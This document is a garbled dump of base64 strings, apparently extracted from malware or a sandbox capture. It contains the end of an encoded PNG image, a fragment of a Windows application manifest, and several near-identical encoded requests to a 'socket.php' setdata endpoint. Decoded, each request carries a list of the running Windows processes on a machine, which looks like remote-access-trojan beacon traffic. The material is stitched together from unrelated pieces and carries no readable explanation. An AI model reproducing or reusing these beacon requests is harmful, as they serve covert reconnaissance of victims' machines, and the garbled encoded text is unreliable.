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49:T504,LS0gSW5kaWNhdGVzIHRoYXQgdGhlIGFwcGxpY2F0aW9uIGlzIERQSS1hd2FyZSBhbmQgd2lsbCBub3QgYmUgYXV0b21hdGljYWxseSBzY2FsZWQgYnkgV2luZG93cyBhdCBoaWdoZXIgICAgICAgRFBJcy4gV2luZG93cyBQcmVzZW50YXRpb24gRm91bmRhdGlvbiAoV1BGKSBhcHBsaWNhdGlvbnMgYXJlIGF1dG9tYXRpY2FsbHkgRFBJLWF3YXJlIGFuZCBkbyBub3QgbmVlZCAgICAgICAgdG8gb3B0IGluLiBXaW5kb3dzIEZvcm1zIGFwcGxpY2F0aW9ucyB0YXJnZXRpbmcgLk5FVCBGcmFtZXdvcmsgNC42IHRoYXQgb3B0IGludG8gdGhpcyBzZXR0aW5nLCBzaG91bGQgICAgICAgIGFsc28gc2V0IHRoZSAnRW5hYmxlV2luZG93c0Zvcm1zSGlnaERwaUF1dG9SZXNpemluZycgc2V0dGluZyB0byAndHJ1ZScgaW4gdGhlaXIgYXBwLmNvbmZpZy4gLS0+ICAgICA8YXBwbGljYXRpb24geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gICAgPHdpbmRvd3NTZXR0aW5ncz4gICAgICA8ZHBpQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9kcGlBd2FyZT4gICAgPC93aW5kb3dzU2V0dGluZ3M+ICA8L2FwcGxpY2F0aW9uPiAgLS0+ICAgIEVuYWJsZSB0aGVtZXMgZm9yIFdpbmRvd3MgY29tbW9uIGNvbnRyb2xzIGFuZCBkaWFsb2dzIChXaW5kb3dzIFhQIGFuZCBsYXRlcikgLS0+ICAgICA8ZGVwZW5kZW5jeT4gICAgPGRlcGVuZGVudEFzc2VtYmx5PiAgICAgIDxhc3NlbWJseUlkZW50aXR5ICAgICAgICAgIHR5cGU9IndpbjMyIiAgICAgICAgICBuYW1lPSJNaWNyb3NvZnQuV2luZG93cy5Db21tb24tQ29udHJvbHMiICAgICAgICAgIHZlcnNpb249IjYuMC4wLjAiICAgICAgICAgIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0iKiIgICAgICAgICAgcHVibGljS2V5VG9rZW49IjY1OTViNjQxNDRjY2YxZGYi4a:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=4b:T440,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRWR3bS5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vsc20uZXhlJTNDU1RSJTNFbHNhc3MuZXhlJTNDU1RSJTNFZm9udHJldmlldy5leGUlM0NTVFIlM0Vjc3Jzcy5leGUlM0NTVFIlM0VzZXJ2aWNlcy5leGUlM0NTVFIlM0VzcG9vbHN2LmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFd2luaW5pdC5leGUlM0NTVFIlM0VXbWlQcnZTRS5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWV4cGxvcmVyLmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFU3lzdGVtLmV4ZSUzQ1NUUiUzRUlkbGUuZXhl4c:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFc3Bvb2xzdi5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==4d:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=4e:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFZGxsaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==4f:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFc2VydmljZXMuZXhlJTNDU1RSJTNFc3Bvb2xzdi5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==50:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFd2lubG9nb24uZXhlJTNDU1RSJTNFdGFza2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=51:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFY3Nyc3MuZXhlJTNDU1RSJTNFd2lubG9nb24uZXhlJTNDU1RSJTNFdGFza2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V0YXNraG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=52:T520,MjQ0MDIyNWY5M2F9Ii8+ICAgICBUaGUgSUQgYmVsb3cgaW5kaWNhdGVzIGFwcGxpY2F0aW9uIHN1cHBvcnQgZm9yIFdpbmRvd3MgOCAtLT4gICAgICA8c3VwcG9ydGVkT1MgSWQ9Ins0YTJmMjhlMy01M2I5LTQ0NDEtYmE5Yy1kNjlkNGE0YTZlMzh9Ii8+ICAgICBUaGUgSUQgYmVsb3cgaW5kaWNhdGVzIGFwcGxpY2F0aW9uIHN1cHBvcnQgZm9yIFdpbmRvd3MgOC4xIC0tPiAgICAgIDxzdXBwb3J0ZWRPUyBJZD0iezFmNjc2Yzc2LTgwZTEtNDIzOS05NWJiLTgz